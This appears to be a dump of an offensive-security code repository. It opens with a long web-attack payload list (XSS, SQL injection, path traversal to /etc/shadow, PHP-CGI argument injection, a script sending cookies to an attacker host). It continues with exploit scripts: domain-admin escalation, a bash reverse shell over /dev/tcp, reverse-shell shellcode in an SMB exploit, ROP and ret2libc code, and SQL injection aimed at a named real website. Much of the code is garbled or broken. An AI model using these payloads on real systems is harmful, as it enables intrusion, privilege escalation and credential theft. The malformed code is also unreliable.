116 | %25%30%41%25%30%44%25%30%41%25%30%44
117 | %3Cscript+src=http://attacker_site/evil_script.js+type=text/javascript+language=javascript+charset=utf-8+defer> </script> 
118 | %3Csvg+onload=alert(document.domain)> 
119 | <svg onload="alert('id');"> 
120 | <img src="javascript:alert('id');"> 
121 | <iframe src="javascript:alert('id');"> 
122 | <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> 
123 | <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> 
124 | <form action="http://attacker_site" method="post"><input type="submit" value="Submit"></form> 
125 | ' OR 1=1 --
126 | ' OR '1'='1' /*
127 | ' OR 1=1 #
128 | /etc/*~1*/passwd
129 | /etc/*~1*/shadow
130 | /etc/*~1*/group
131 | /etc/*~1*/gshadow
132 | ..//../../etc
133 | /proc/version
134 | /proc/cpuinfo
135 | /proc/meminfo
136 | /proc/loadavg
137 | /proc/uptime
138 | ..%2f..%2f..%2f..%2fetc%2fpasswd
139 | ..%2f..%2f..%2f..%2fetc%2fshadow
140 | ..%252F..%252F..%252F..%252Fetc%252Fpasswd 
141 | %0a 
142 | %0d 
143 | %00 
144 | %25 
145 | %20 
146 | %3c 
147 | %3e 
148 | %22 
149 | %27 
150 | %7b 
151 | %7d 
152 | %$;/%$;/%$;/%$;/%$;/%$;/%$;
153 | &lt;script&gt;alert(1)&lt;/script&gt;
154 | /cgi-bin/test-cgi?param=<script>alert(1)</script> 
155 | /cgi-bin/test-cgi?param=<img src="javascript:alert(1)">
156 | /cgi-bin/test-cgi?param=<svg onload="alert(1)">
157 | /cgi-bin/test-cgi?param=<iframe src="javascript:alert(1)">
158 | /cgi-bin/?param=<script>alert(1)</script>
159 | /cgi-bin/?param=<img src="javascript:alert(1)">
160 | /cgi-bin/?param=<svg onload="alert(1)"> 
161 | /cgi-bin/?param=<iframe src="javascript:alert(1)">
162 | %3cscript%3ealert(1)%3c%2fscript%3e
163 | <script>alert(1)</script> 
164 | <svg onload=alert(1)> 
165 | <img src=x onerror=alert(1)> 
166 | ' or 1=1-- 
167 | ' or 1=1# 
168 | ' or 1=1/* 
169 | " or 1=1-- 
170 | " or 1=1# 
171 | " or 1=1/* 
172 | %00 
173 | %25 
174 | %3Cscript 
175 | %3Escript 
176 | %3Becho 
177 | %3Cecho 
178 | %3Bcat+/etc/passwd 
179 | %3Ccat+/etc/passwd 
180 | &lt;script&gt;alert(1)&lt;/script&gt;
181 | /cgi-bin/*.*?*/*.*?*/*.*?*/*.*?*/*.*?*/*.*?*/*.*?*/*.*?*/*.*?*/*.*?*/** 23./cgi-bin/**
182 | /cgi-bin/**/**
183 | /cgi-bin/**/**/**
184 | /cgi-bin/**/**/**/**
185 | /cgi-bin**
186 | /cgi-bin**/**
187 | /cgi-bin**/**/**
188 | /cgi-bin**/**/**/**
189 | .?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
190 | ?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
191 | ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
192 | ?=PHPE9568F34–D428–11d2–A769–00AA001ACF42
193 | ?=PHPE9568F34–D428–11d1–A769–00AA001ACF42
194 | ?=PHPA0000001
195 | ?=PHPA0000002
196 | .?=PHPA0000003
197 | ?=/phpMyAdmin
198 | .?=/phpmyadmin
199 | ;exec
200 | ;system 
201 | ;passthru
202 | ;shell_exec
203 | ;popen
204 | ;pcntl_exec
205 | ;eval
206 | ;assert
207 | ;create_function
208 | /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65
209 | /cgi-bin/php5?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
210 | /cgi-bin/php4?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
211 | /cgi-bin/php3?=PHPE20AC91F8-ECBD-11d2-A004-00AA004CDB76
212 | /cgi-bin/php?=PHP7FFDE8F35–0CB6–11d3–A3A9–4C7B08C10000
213 | /cgi‐bin/idq.dll?‐‐‐‐‐‐‐‐‐−<script>alert(document.cookie)</script>
214 | %0a<script>alert(document.cookie)</script> 
215 | %0a<svg onload=alert(1)> 
216 | %0a<img src="x" onerror="javascript:alert(1)"> 
217 | %0a<iframe src="javascript:alert(1)"> 
218 | %0a<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> 
219 | %0a<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> 
220 | %0a<form action="javascript:alert(1)"><input type=submit> 
221 | %2527; alert(document.cookie);// 
222 | /index.?s=/index/?\x00\x00\x00\x00\x00\x00\x00\xff
223 | <img src="javascript:alert('id');">
224 | \x27\x0A\x0D;DROP TABLE users;--
225 | /cgi-bin/php-cgi?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input
226 | /cgi-bin/php5?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input
227 | /cgi-bin/php7?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input
228 | /cgi-bin/php?-s 
229 | /cgi-bin//php?-s 
230 | /cgi-bin//php5?-s
231 | /cgi-bin//php7?-s
232 | ?id='; DROP TABLE users;--
233 | ?id="; DROP TABLE users;--
234 | ?id=' OR 'a'='a
235 | ?id=" OR "a"="a
236 | ?id=' OR 1=1
237 | ?id=" OR 1=1
238 | ?id=' OR 'x'='y
239 | ?id=" OR "x"="y
240 | ?id=' OR 0
241 | ?id=" OR 0 
242 | ; DROP TABLE users;--
243 | '); DROP TABLE users;-- 
244 | "); DROP TABLE users;-- 
245 | ' union select null,null,null,null#
246 | " union select null,null,null,null#
247 | ' union select username,password from users where 't' = 't'
248 | " union select username,password from users where "t" = "t" 
249 | ' union all select null,table_name from information_schema
250 | " union all select null,table_name from information_schema
251 | ' and (select count(*) from (select 1 union select 2) x group by concat((select version()),floor(rand(0)*2)))
252 | " and (select count(*) from (select 1 union select 2) x group by concat((select version()),floor(rand(0)*2))) 
253 | ' and extractvalue(rand(),concat(0x7e,version()))
254 | " and extractvalue(rand(),concat(0x7e,version()))
255 | .' and updatexml(rand(),concat('~',version()),null)
256 | " and updatexml(rand(),concat('~',version()),null)
257 | ' and benchmark((SELECT * FROM INFORMATION SCHEMA LIMIT 0),MD5('test'))
258 | " and benchmark((SELECT * FROM INFORMATION SCHEMA LIMIT 0),MD5('test'))
259 | */**/union/**/all/**/select/**/(@:=0x00), (@:=CONCAT+(@:,username)), (@:=CONCAT+(@:,password)), (@:=CONCAT+(@:,email))/**/from/**/(users)/**
260 | */**/union/**/all/**/(SELECT*FROM INFORMATION SCHEMA LIMIT 0)/**
261 | */**//**/(SELECT*FROM INFORMATION SCHEMA LIMIT 0)/**
262 | */**//**/(SELECT*FROM INFORMATION SCHEMA LIMIT 0)/**
263 | .*/**//**/(SELECT*FROM INFORMATION SCHEMA LIMIT 0)/**
264 | */**//**/(SELECT*FROM INFORMATION SCHEMA LIMIT 0)/**
265 | .*/**//**/(SELECT*FROM INFORMATION SCHEMA LIMIT 0)/**
266 | */**//**/(SELECT*FROM INFORMATION SCHEMA LIMIT 0)/** 
267 | */*!order by*/6
268 | .*/*!order by*/6
269 | '%20OR%201=1
270 | %2527%2522
271 | %3Cscript%3Ealert(document.cookie)%3C/script%3E
272 | %3Csvg/onload=alert(document.domain)%3E
273 | %3Cimg src=x onerror=alert(1)%3E
274 | <svg onload=prompt(1)>
275 | %3Ciframe src=javascript:alert(1)%3E
276 | <svg/onload=alert(1)>
277 | %22%2Balert(document.cookie)%2B%22
278 | %27;alert(String.fromCharCode(88,83,83))//%27;alert(String.fromCharCode(88,83,83))//%22%20;alert(String.fromCharCode(88,83,83))//%22
279 | 0xffffffffffffffffffff
280 | 0xffffffffffffffffffff\\\
281 | <svg><script>alert(1)</script>
282 | <script>alert(document.cookie)</script>
283 | <img src="x" onerror="alert('XSS')">
284 | <script>document.location='http://attacker/?cookie='+document.cookie</script>
285 | ';alert(String.fromCharCode(88,83,83));//
286 | 


--------------------------------------------------------------------------------
/pwner.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python
 2 | import os 
 3 | import sys 
 4 | import argparse 
 5 | import subprocess 
 6 | from subprocess import Popen, PIPE, STDOUT
 7 | 
 8 | 
 9 | def exploit(target):
10 |     try:
11 |         # Run the command to get the list of users from the target system. 
12 |         command = 'net user /domain'
13 |         # Execute the command. 
14 |         process = Popen(command, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT)
15 |         # Read and store the output of the command.  
16 |         output = process.stdout.read()
17 |         # Split the output into lines so we can iterate over them.  
18 |         lines = output.split('\n')
19 |         # Iterate over each line in the output and look for users with administrative privileges.  
20 |          for line in lines: 
21 |             if 'Administrator' in line:     # If we find a user with administrative privileges...  
22 |                 username = line[0:-1]       # Get their username from the line...  
23 |                 print '[+] Found Administrator Account : %s' % (username)    # Print it out...  
24 |                 cmd_str = 'net group "Domain Admins" "%s" /add /domain' % (username)    # Create a new command to add them to Domain Admins group...  
25 |                 print '[+] Adding User To Domain Admins Group : %s' % (cmd_str)    # Print out our new command...                                                       
26 |                 subprocess.call(cmd_str, shell=True)     # Execute our new command!     print '[+] Exploit Completed!'     
27 |                 except Exception as e:      print '[-] Something went wrong :('      print e      sys.exit(-1) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("target", help="Target IP or Hostname") args = parser.parse_args() exploit(args
28 | 


--------------------------------------------------------------------------------
/r2pipe.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python
 2 | 
 3 | import r2pipe
 4 | r2 = r2pipe.open("/usr/bin/host")
 5 | # Search for heap overflow
 6 | search_string = "CMP DWORD [RAX], 0x41414141"
 7 | matches = r2.cmdj("/xj " + search_string)
 8 | for match in matches:
 9 |     print("Found heap overflow at 0x" + match['offset'])
10 | 


--------------------------------------------------------------------------------
/rce_proxy.py:
--------------------------------------------------------------------------------
 1 | import socket
 2 | import sys
 3 |  
 4 | def socket_create():
 5 |     try:
 6 |         global host
 7 |         global port
 8 |         global s
 9 |         host = '127.0.0.1' 
10 |         port = 8888 
11 |         s = socket.socket() 
12 |     except socket.error as msg:
13 |         print("Socket creation error: " + str(msg))
14 |     try: 
15 |         print("Binding socket to port: " + str(port))
16 |         s.bind((host, port))
17 |         s.listen(5)
18 |     except socket.error as msg:
19 |         print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
20 |         bind_socket()
21 |     def socket_accept():  
22 |             conn, address = s.accept()
23 |             print("Connection has been established |" + " IP " + address[0] + " | Port" + str(address[1]))  
24 |             send_commands(conn)  
25 |             conn.close()  
26 |     def send_commands(conn):  
27 |             while True:  
28 |                 cmd = input()  
29 |                 if cmd == 'quit':  
30 |                     conn.close()  
31 |                     s.close()  
32 |                     sys.exit()  
33 |                 if len(str.encode(cmd)) > 0:      
34 |                 conn.send(str.encode(cmd))     
35 |                 response = str(conn.recv(1024), "utf-8")     
36 |                 print(response, end="")      
37 |                 socket_create()      
38 |                 socket_accept()
39 | 


--------------------------------------------------------------------------------
/rce_ssh.cpp:
--------------------------------------------------------------------------------
 1 | #include <stdio.h>
 2 | #include <stdlib.h>
 3 | #include <unistd.h>
 4 | #include <string.h>
 5 | #include <sys/types.h>
 6 | #include <sys/socket.h>
 7 | #include <netinet/in.h>
 8 | #include <netdb.h>
 9 | 
10 | int main(int argc, char *argv[])
11 | {
12 |     int sockfd, portno, n;
13 |     struct sockaddr_in serv_addr;
14 |     struct hostent *server;
15 |     char buffer[256];
16 | 
17 |     if (argc < 3) {
18 |        fprintf(stderr,"usage %s hostname port\n", argv[0]);
19 |        exit(0);
20 |     }
21 | 
22 |     portno = atoi(argv[2]);
23 |     sockfd = socket(AF_INET, SOCK_STREAM, 0);
24 |     if (sockfd < 0) 
25 |         perror("ERROR opening socket");
26 |     server = gethostbyname(argv[1]);
27 |     if (server == NULL) {
28 |         fprintf(stderr,"ERROR, no such host\n");
29 |         exit(0);
30 |     }
31 |     bzero((char *) &serv_addr, sizeof(serv_addr));
32 |     serv_addr.sin_family = AF_INET;
33 |     bcopy((char *)server->h_addr, 
34 |          (char *)&serv_addr.sin_addr.s_addr,
35 |          server->h_length);
36 |     serv_addr.sin_port = htons(portno);
37 |     if (connect(sockfd,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0) 
38 |         perror("ERROR connecting");
39 | 
40 |     // Send the SSH command to execute
41 |     sprintf(buffer, "ssh user@host 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'");
42 |     n = write(sockfd,buffer,strlen(buffer));
43 |     if (n < 0) 
44 |          perror("ERROR writing to socket");
45 |     bzero(buffer,256);
46 |     n = read(sockfd,buffer,255);
47 |     if (n < 0) 
48 |          perror("ERROR reading from socket");
49 |     printf("%s\n",buffer);
50 |     close(sockfd);
51 |     return 0;
52 | }


--------------------------------------------------------------------------------
/redirect_wp_shell.pl:
--------------------------------------------------------------------------------
 1 | use LWP::UserAgent;
 2 | 
 3 | my $target = "http://example.com/wp-login.php?redirect_to=http://127.0.0.1/shell.php";
 4 | my $ua = LWP::UserAgent->new;
 5 | 
 6 | my $response = $ua->get($target);
 7 | if ($response->is_success) {
 8 |     print "Exploit Successful!";
 9 | }
10 | else {
11 |     print "Exploit Failed!";
12 | }
13 | 


--------------------------------------------------------------------------------
/ret.rs:
--------------------------------------------------------------------------------
 1 | extern crate libc;
 2 | 
 3 | use libc::{c_void, system};
 4 | 
 5 | // define the buffer size and strings to be used
 6 | const BUFFER_SIZE : usize = 200;
 7 | let addr : u64 = 0x00000000; // set address of content to be overwritten
 8 | let libc_name : &[u8] = b"libc.so.6\0";
 9 | let gadget : &[u8] = b"/bin/sh\0";
10 | 
11 | // create a buffer to store data
12 | let mut buf : [u8;BUFFER_SIZE] = [0u8;BUFFER_SIZE];
13 | 
14 | // store the libc and gadget strings in the buffer
15 | let libc_base = copy_string(buf.as_mut_ptr() as *mut c_void, libc_name.as_ptr() as *const c_void);
16 | let gadget_base = copy_string(buf.as_mut_ptr().offset(libc_name.len()) as *mut c_void, gadget.as_ptr() as *const c_void);
17 | 
18 | // set the address of the content to be overwritten
19 | let mut pointer = addr as *mut u64;
20 | /// set the address of the target buffer in the pointer 
21 | pointer.write(buf.as_ptr() as u64);
22 | 
23 | // call the ret2lib system call
24 | unsafe { system(libc_base); }
25 | 
26 | // function to copy data from one memory location to another 
27 | fn copy_string (dest : *mut c_void, src : *const c_void) -> *mut c_void {
28 |  let mut size : u32 = 0;
29 |  unsafe {
30 |   while  *src.offset(size as isize) != 0 {
31 |    size += 1;
32 |   }
33 | 
34 |   libc::memcpy(dest,src,size);
35 |  }
36 | 
37 |  dest
38 | }
39 | 


--------------------------------------------------------------------------------
/ret2lib.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/bash
 2 | 
 3 | #Get necessary variables
 4 | bin=/usr/bin/sudo
 5 | dyn_addr=`readelf -l $bin | grep "Requesting program interpreter" | awk '{print $3}'`
 6 | libc_start=`readelf -a $bin | grep "Program Headers" | awk '{print $4}'`
 7 | #Calculating addresses
 8 | system_value=`objdump -D $bin | grep -Eo [0-9]{16} | head -n 1`
 9 | bin_sh=`objdump -D $bin  | grep -Eo "/bin/sh"`
10 | padding=`printf "%56xA$bin_sh"`
11 | #Test payload
12 | payload="$(python -c 'print $padding + "\x[system_value]" + "\x[libc_start] - 0x[dyn_addr]"'`
13 | #Sending payload
14 | echo $payload | nc 127.0.0.1 80
15 | 


--------------------------------------------------------------------------------
/ret_pwn.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python
 2 | 
 3 | from pwn import *
 4 | 
 5 | context.arch = 'amd64'
 6 | p = process('/usr/bin/grep')
 7 | payload = 'A' * 40
 8 | payload += p64(0x272f8) # address of ret
 9 | p.recvuntil('> ')
10 | p.sendline(payload)
11 | p.interactive()
12 | 


--------------------------------------------------------------------------------
/return_sqli.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 | 
 3 | use LWP::UserAgent;
 4 | 
 5 | my $url = 'https://www.bluemarblegeo.com/login.php?return_url=255';
 6 | my $ua = LWP::UserAgent->new;
 7 | my $response = $ua->post(
 8 |     $url,
 9 |     [
10 |         'return_url' => "https://www.bluemarblegeo.com/login.php?return_url=255' OR 1=1--"
11 |     ]
12 | );
13 | print $response->decoded_content;
14 | 


--------------------------------------------------------------------------------
/rop_exp.rs:
--------------------------------------------------------------------------------
 1 | extern crate libc;
 2 | extern crate elf;
 3 | 
 4 | use std::os::raw::c_int;
 5 | use elf::header::EHdr;
 6 | use elf::program::PT_LOAD;
 7 | use libc::{c_void, memcpy};
 8 | 
 9 | struct RopGadget {
10 |  address: usize, 
11 |     inst_size: usize,
12 |     code: Vec<u8>,
13 |  bytes: Vec<u8>
14 | }
15 | fn find_rop_gadgets(ephdr: &EHdr) -> Vec<RopGadget> {
16 |  let mut gadgets: Vec<RopGadget> = Vec::new();
17 |  for prog_hdr in ephdr.program_iter() {
18 |   if prog_hdr.p_type == PT_LOAD {
19 |    let mut blob: Vec<u8> = vec![0; prog_hdr.p_filesz as usize];
20 |    unsafe{
21 |     memcpy(blob.as_mut_ptr() as *mut c_void, prog_hdr.p_paddr as *mut c_void, prog_hdr.p_filesz as usize);
22 |    }
23 |    for i in 0..(blob.len()-3) {
24 |     let instructions = [0x31, 0xc0, 0x48, 0xbb, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x05];
25 |     let mut found = false;
26 |     for (j,instr) in instructions.iter().enumerate() {
27 |      if blob[i+j] == *instr {
28 |       found = true;
29 |      } else {
30 |       found = false;
31 |       break;
32 |      }
33 |     }
34 |     if found {
35 |      let mut code: Vec<u8> = Vec::new();
36 |      let mut bytes: Vec<u8> = Vec::new();
37 |      let mut size: usize = 0;
38 |      for j in 0..(instructions.len()-2) {
39 |       code.push(blob[i+j]);
40 |       size += 1;
41 |       bytes.push(blob[i+j]);
42 |      }
43 |      let rop_gadget: RopGadget = RopGadget{
44 |       address: i, 
45 |       inst_size: size,
46 |       code: code,
47 |       bytes: bytes
48 |      };
49 |      gadgets.push(rop_gadget);
50 |     }
51 |    }
52 |   }
53 |  }
54 |  gadgets
55 | }
56 | fn fuzz_gadgets(gadgets: &Vec<RopGadget>, fuzz_val: u8) -> Vec<RopGadget> {
57 |  let mut fuzzed_gadgets: Vec<RopGadget> = Vec::new();
58 |  for g in gadgets {
59 |   let mut code: Vec<u8> = Vec::new();
60 |   for c in 0..g.inst_size {
61 |    code.push(g.code[c]^fuzz_val);
62 |   }
63 |   let fuzzed_gadget: RopGadget = RopGadget{
64 |    address: g.address, 
65 |    inst_size: g.inst_size,
66 |    code: code,
67 |    bytes: g.bytes
68 |   };
69 |   fuzzed_gadgets.push(fuzzed_gadget);
70 |  }
71 |  fuzzed_gadgets
72 | }
73 | fn rop_exp() {
74 | let elf_hdr = read_ephdr_from(&filename);
75 | let gadgets = find_rop_gadgets(&elf_hdr);
76 | let fuzz_val = 0x1;
77 | let fuzzed_gadgets = fuzz_gadgets(&gadgets, fuzz_val);
78 | let ret_address: usize = 0;
79 | let payload: Vec<u8> = Vec::new();
80 | for g in fuzzed_gadgets {
81 |  payload.extend(g.bytes);
82 |  if g.inst_size > 9 {
83 |   ret_address = g.address + g.inst_size + 1;
84 |  }
85 | }
86 | println!("Exploitation complete, payload length: {}", payload.len());
87 | println!("Return address: 0x{:x}", ret_address);
88 |  unsafe {
89 |  let ret_fn = ret_address as *const c_void;
90 |  let ret_fn_cast = mem::transmute::<*const c_void, extern "C" fn()>(ret_fn);
91 |  ret_fn_cast();
92 | }
93 | 


--------------------------------------------------------------------------------
/ropchain.py:
--------------------------------------------------------------------------------
 1 | import os, sys
 2 | import random
 3 | import time
 4 | 
 5 | # open the target binary
 6 | target_binary = open("/usr/bin/grep","r")
 7 | # initiate global variables
 8 | rop_gadgets = list()
 9 | # define the fuzzing function
10 | def fuzz_target(target_binary):
11 |     # collect all the rop gadgets
12 |     for line in target_binary:
13 |         if "ropgadget" in line:
14 |             rop_gadgets.append(line)
15 |     # begin fuzzing the target
16 |     while len(rop_gadgets) > 0:
17 |         # select a random gadget in rop_gadgets
18 |         target_gadget = random.choice(rop_gadgets)
19 |         # execute the fuzzing process
20 |         os.system(f"ROPgadget --binary {target_binary} --gadget {target_gadget}")
21 |         # remove used gadget from rop_gadgets
22 |         rop_gadgets.remove(target_gadget)
23 | # exploitation function        
24 | def exploit_target(target_binary):
25 |     # compile rop chain to enable the code execution
26 |     os.system(f"ROPchain --binary {target_binary}")
27 | # main
28 | if __name__ == "__main__":
29 |     fuzz_target(target_binary)
30 |     exploit_target(target_binary)
31 | 


--------------------------------------------------------------------------------
/segfault_fuzzer.c:
--------------------------------------------------------------------------------
 1 | #include <stdio.h>
 2 | #include <string.h>
 3 | #include <stdlib.h>
 4 | 
 5 | #define MAX_LEN 256
 6 | int main(int argc, char* argv[]) {
 7 |     // Create the command string to run Zsh
 8 |     char command[MAX_LEN];
 9 |     snprintf(command, MAX_LEN, "zsh -c \"%s\"", argv[1]);
10 |     // Fuzzing loop
11 |     for (int i = 0; i < 100000; i++) {
12 |         // Create the input string with random data
13 |         char input[MAX_LEN];
14 |         for (int j = 0; j < MAX_LEN - 1; j++) {
15 |             input[j] = rand() % 256;
16 |         }
17 |         input[MAX_LEN - 1] = '\0';
18 |         // Append the input string to the command
19 |         strncat(command, " ", MAX_LEN);
20 |         strncat(command, input, MAX_LEN);
21 |         // Run the command
22 |         int result = system(command);
23 |         // Check if a segmentation fault occurred
24 |         if (result != 0) {
25 |             printf("Segmentation fault occurred with input: %s\n", input);
26 |         }
27 |     }
28 |     return 0;
29 | }
30 | 


--------------------------------------------------------------------------------
/server_fuzz.rs:
--------------------------------------------------------------------------------
 1 | #![no_main]
 2 | #[macro_use]
 3 | extern crate libfuzzer_sys;
 4 | extern crate reqwest;
 5 | 
 6 | use std::io::Read;
 7 | 
 8 | fuzz_target!(|data: &[u8]| {
 9 |     let client = reqwest::Client::new();
10 |     let url = format!("https://www.rba.gov.au/{}", String::from_utf8_lossy(data));
11 |     let mut resp = match client.get(&url).send() {
12 |         Ok(response) => response,
13 |         Err(_) => return,
14 |     };
15 |     let mut body = String::new();
16 |     if resp.read_to_string(&mut body).is_ok() {
17 |         println!("response: {}", body);
18 |     }
19 | });
20 | 


--------------------------------------------------------------------------------
/shell_exec.c:
--------------------------------------------------------------------------------
 1 | #include <stdio.h>
 2 | #include <string.h>
 3 | #include <stdlib.h>
 4 | 
 5 | // linux/x86/exec - 27 bytes
 6 | // Encoder: x86/shikata_ga_nai
 7 | // VERBOSE=false, PrependFork=false, PrependSetresuid=false, 
 8 | // PrependSetreuid=false, PrependSetuid=false, 
 9 | // PrependSetresgid=false, PrependSetregid=false, 
10 | // PrependSetgid=false, PrependChrootBreak=false, 
11 | // AppendExit=false, CMD=/bin/sh
12 | unsigned char shellcode[] = 
13 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
14 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
15 | "\x80\xe8\xdc\xff\xff\xff/bin/sh";
16 | 
17 | int main(int argc, char **argv) {
18 |     char *buffer, *ptr;
19 |     long *addr_ptr, addr;
20 |     int i, offset=270;
21 |     int bsize=300;
22 |     int csize=strlen(shellcode);
23 | 
24 |     if (!(buffer = malloc(bsize))) {
25 |         printf("Can't allocate memory.\n");
26 |         exit(0);
27 |     }
28 | 
29 |     addr = 0xbffffffa - offset;
30 |     ptr = buffer;
31 |     addr_ptr = (long *) ptr;
32 | 
33 |     for (i = 0; i < bsize; i+=4)
34 |         *(addr_ptr++) = addr;
35 | 
36 |     for (i = 0; i < csize; i++)
37 |         buffer[i] = shellcode[i];
38 | 
39 |     buffer[bsize - 1] = '\0';
40 | 
41 |     memcpy(buffer,"EGG=",4);
42 |     putenv(buffer);
43 |     system("/bin/sh");
44 | 
45 |     return 0;
46 | }
47 | 


--------------------------------------------------------------------------------
/shell_scan.rs:
--------------------------------------------------------------------------------
 1 | use std::fs::File;
 2 | use std::io::{self, BufRead, BufReader};
 3 | use std::process::Command;
 4 | 
 5 | fn main() {
 6 |     let file = File::open("targets.txt").expect("Failed to open targets file");
 7 |     let reader = BufReader::new(file);
 8 |     for line in reader.lines() {
 9 |         let target = line.unwrap();
10 |         println!("Checking target: {}", target);
11 |         let output = Command::new("sh")
12 |             .arg("-c")
13 |             .arg(format!("curl --silent {}", target))
14 |             .output()
15 |             .expect("Failed to execute process");
16 |         io::stdout().write(&output.stdout).unwrap();
17 |         io::stdout().write(&output.stderr).unwrap();
18 |         let exit_status = output.status.code().unwrap();
19 |         if exit_status == 0 {
20 |             println!("Command shell is present on {}", target);
21 |         } else {
22 |             println!("Command shell is not present on {}", target);
23 |         }
24 |     }
25 | }
26 | 


--------------------------------------------------------------------------------
/smb_rce.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python
 2 | 
 3 | import socket
 4 | import struct
 5 | 
 6 | host = "192.168.1.25"
 7 | port = 445
 8 | 
 9 | # msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 EXITFUNC=thread -f python -b "\x00"
10 | buf =  ""
11 | buf += "\xba\x9c\xfd\x2f\x2a\xdb\xd3\xd9\x74\x24\xf4\x5f\x2b"
12 | buf += "\xc9\xb1\x52\x31\x57\x17\x83\xc7\x04\x03\xee\xb5\x6b"
13 | buf += "\x8e\x6e\xa1\x86\xe0\x98\xd6\x30\x2d\xd4\x4d\xbb\xda"
14 | buf += "\xc2\x3f\x3e\x3f\xf3\xf3\xa7\xa9\xc9\xe2\xc2\xf2\xa3"
15 | buf += "\xec\xe8\xe7\xe4\xa9\xd0\xc8\xb4\xb2\x66\xf4\x54\xd4"
16 | buf += "\xf5\xf6\xc5\xa7\xc7\x6f\xb6\xb5\xb7\xb7\xe3\xf3\xf3"
17 | buf += "\xe7\xf6\x55\xa2\xe5\xf6\xc5\xb6\xc9\xd8\xc1\xf6\xb5"
18 | buf += "\xe0\xb7\xc3\xf3\xc3"
19 | 
20 | # SMB Header Variables 
21 | smb_header = "\x00" * 4 + "\xffSMB"
22 | smb_command = "\x25" 
23 | smb_error = "\x00" * 4
24 | smb_flag1 = "\x18"
25 | smb_flag2 = "\x53\xc8" 
26 | smb_pid_high = "\x00" * 2
27 | smb_sig = "\x00" * 8 
28 | smb_reserved = "\x00" * 2 
29 | smb_tid = "\x00" * 2 
30 | smb_pid = "\x6c" + "\x13"  
31 | smb_uid = "\xff" + "\xff"  
32 | smb_mid = "\xff" + "\xff"
33 | 
34 | # SMB Trans2 Variables 
35 | trans2_paramcount = "\x02" 
36 | trans2_totalparamcount = "\x02" 
37 | trans2_maxparamcount = "\xff" + "\xff" 
38 | trans2_maxdatacount = "\xff" + "\xff" 
39 | trans2_paramoffset = "\xff" + "\xff" 
40 | trans2_datacount = "\xff" + "\xff" 
41 | trans2_dataoffset = "\xff" + "\xff" 
42 | trans2_setupcount = "\x00" * 1 
43 | trans2_reserved = "\x00" * 1 
44 | trans2_subcommand = "\x0a"
45 | trans2_bytecount = struct.pack("<H", len(buf))
46 | trans2_padding = "\x00" * 2 
47 | trans2_payload = buf 
48 | 
49 | # Pack SMB Header 
50 | packet = smb_header + smb_command + smb_error + smb_flag1 + smb_flag2 + smb_pid_high + smb_sig + smb_reserved + smb_tid + smb_pid + smb_uid + smb_mid 
51 | packet += trans2_paramcount + trans2_totalparamcount + trans2_maxparamcount + trans2_maxdatacount + trans2_paramoffset + trans2_datacount + trans2_dataoffset 
52 | packet += trans2_setupcount + trans2_reserved + trans2_subcommand + trans2_bytecount + trans2_padding + trans2_payload 
53 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
54 | sock.connect((host, port)) 
55 | sock.send(packet) 
56 | sock.close()


--------------------------------------------------------------------------------
/ssh_exploit.c:
--------------------------------------------------------------------------------
 1 | #include <stdio.h>
 2 | #include <stdlib.h>
 3 | #include <unistd.h>
 4 | #include <string.h>
 5 | #include <sys/types.h>
 6 | #include <sys/socket.h>
 7 | #include <netinet/in.h>
 8 | #include <netdb.h>
 9 | 
10 | int main(int argc, char * argv[]) {
11 |   int sockfd, portno, n;
12 |   struct sockaddr_in serv_addr;
13 |   struct hostent * server;
14 |   char buffer[256];
15 |   if (argc < 3) { // Check for correct number of arguments 
16 |     fprintf(stderr, "usage %s hostname port\n", argv[0]); // Error message if incorrect number of arguments 
17 |     exit(0); // Exit program 
18 |   }
19 |   portno = atoi(argv[2]); // Get port number from command line argument 
20 |   sockfd = socket(AF_INET, SOCK_STREAM, 0); // Create a new socket 
21 |   if (sockfd < 0) { // Check for errors in creating the socket 
22 |     perror("ERROR opening socket"); // Print error message to stderr 
23 |     exit(1); // Exit program with error code 1 
24 |   }
25 |   server = gethostbyname(argv[1]); // Get the IP address of the server from the command line argument  
26 |   if (server == NULL) { // Check for errors in getting the IP address of the server  
27 |     fprintf(stderr, "ERROR, no such host\n"); // Print error message to stderr  
28 |     exit(0); // Exit program with error code 0  
29 |   }
30 |   bzero((char * ) & serv_addr, sizeof(serv_addr)); // Clear serv_addr structure  
31 |   serv_addr.sin_family = AF_INET; // Set family type to AF_INET (IPv4)  
32 |   bcopy((char * ) server -> h_addr, (char * ) & serv_addr.sin_addr.s_addr, server -> h_length); // Copy IP address into serv_addr structure  
33 |   serv_addr.sin_port = htons(portno); // Convert port number to network byte order and copy into serv addr structure  
